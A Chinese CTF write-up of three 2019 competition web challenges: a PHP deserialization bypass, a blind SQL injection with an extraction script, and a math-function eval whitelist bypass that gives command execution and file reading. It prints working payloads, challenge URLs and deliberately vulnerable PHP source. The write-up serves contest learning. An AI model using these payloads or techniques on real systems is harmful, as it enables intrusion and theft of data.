技术改变世界,文化改变人心

全国信息安全竞赛

2019 全国信息安全竞赛

##JustSoso

发现注释有文件包含,包含获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

可以看到,我们不能直接读取flag

思路很清晰,我们通过unserilize来反序列化Handle类,在Handle类的handle为Flag的时候在destruct的时候,就可以调用到getFlag,我们可以构造hint.php中的类来做到文件读取

现在我们有点需要通过:

  1. 在index.php中限制了反序列化的字符串中不能有flag字段
  2. 在反序列化的时候会调用__wakeup方法,这个方法会将我们的handle属性覆盖为null
  3. 在调用getFlag的时候,我们的token_flag必须和$this->token_flag相同

我们可以一个一个绕过:

  1. 看到题目的取参数方式和平常很不一样,联想是否有什么问题,发现parse_url函数在处理:http://xxxx////a.php这种多个斜杠的url的时候会返回null,第一步可以绕过
  2. __wakup方法还是很好绕过的,当属性的真实个数与序列化的个数不一样的时候,最后调用的时候不会调用__wakeup方法
  3. 在反序列化的时候可以用&符号来做一个指针,可以自动让$token_flag相等

最后的payload:

1
http://3d5764f77e4549b981f0c73c2efbce6c9c54d98170394cbd.changame.ichunqiu.com//////?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%228cb22bdd0b7ba1ab13d742e22eed8da2%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

全宇宙最简单的SQL

题目给的很清楚,SQL注入,但是有个很大的问题是,只有两种显示状态,语句报错或者是登陆失败

过滤了or,让我们对password和mysql表和字段的判断有了一定阻碍

  1. 如何让一条语句判断为真的时候不报错,为假的时候报错,反之也可以
  2. 如何获得字段名,表名,以及在查询的时候,password如何代替

思路:

  1. mysql的and语句在前面的语句正确的时候才进行后面语句的判断,否则只判断前面的语句是否正确。还有一个mysql的特性,在mysql计算过大的数的时候会报错,所以我们可以通过报错和不报错来判断前面的条件是否成立,所以我们可以构造如下payload:username=admin' and 1=2 and (select 2*1e308)#&password=admin,即可成功构造条件判断

  2. 因为or被过滤,所以无法用直接的方式来查询出来password的值,但是我们可以用别名来查询password,请看下面的演示:

    所以我们可以通过这种方式来进行注入,所以最后的payload:

    username=admin' and ascii(substr((select a.2 from (select 1,2 from user union select * from user limit 0,1)a),1,1))=90 and (select 2*1e308)#&password=admin

因为是盲注,编写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://39.97.167.120:52105/'
result = ''

for i in range (1,26):
for j in range(33,126):
payload = {
'username' : "admin' and ascii(substr((select a.2 from (select 1,2 from user union select * from user limit 1,1)a),{},1))={} and (select 2*1e308)#".format(i,j),
'password' : "admin"
}
res = requests.post(url=url, data=payload)
if len(res.content) >= 1307:
result = result + chr(j)
print result

最后注入出来密码为:F1AG@1s-at_/fll1llag_h3r3(表名是猜的23333)

登陆后的界面为:

一看到这里,超级简单了,伪造mysql数据库,读取文件

在服务器上起一个伪造的mysql:我们的文件在/fll1llag_h3r3

选择一个存在的表,其他的随便输:

即可在服务器端收到flag:

love the math

这道题只能说:f1sh tql

calc.php直接有源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

发现都是些数学函数,过滤非常狠:

  1. 不允许有任何的非白名单的函数或者变量存在
  2. 构造的字符串长度不能超过79位

如果想要构造函数,我们的$content必须要是一个字符串,所以翻一翻php手册,这些数学函数中返回的是字符串的只有:base_convert, decbin, dechex, decoct

而base_convert有个很有意思的typical usage:

可以看到,我们可以通过base_convert来转换为字符串,所以可以构造:

1
2
3
4
5
<?php
echo base_convert('system',36,10);
echo "<br>";
echo base_convert('ls', 36, 10);
?>

得到对应的10进制数字:

可以直接在服务器上转换,成功执行命令:http://6290bf1796b844a68f29a4d31e166f506a77bf71fd4d4ef8.changame.ichunqiu.com/calc.php?c=base_convert(1751504350,10,36)(base_convert(784,10,36))

但是接下来想要读取flag,被长度限制的快怀疑人生了。。。。。。

直接看f1sh的payload吧:(base_convert(371235972282,10,28))(${decoct(531)^base_convert(68631,20,35)}{1})&1=flag.php

  1. base_convert(371235972282,10,28):readfile
  2. decoct(531)^base_convert(68631,20,35):_GET(fuzz出来的)

所以最后的payload解码以后就是:(readfile{$_GET{1}})

自己写了一个小的fuzz脚本,如果以后需要fuzz字符的话可以直接改:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$str1 = '_GET';
$sets = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];

for($i=0;$i<count($sets);$i++){
for($j=$i;$j<count($sets);$j++){
$content = $sets[$i]^$sets[$j];
$name = "$sets[$i] : $sets[$j]\r\n";
file_put_contents('xor.txt',$name,FILE_APPEND);
file_put_contents('xor.txt',"$content\r\n",FILE_APPEND);
file_put_contents('xor.txt',"\r\n");
}
}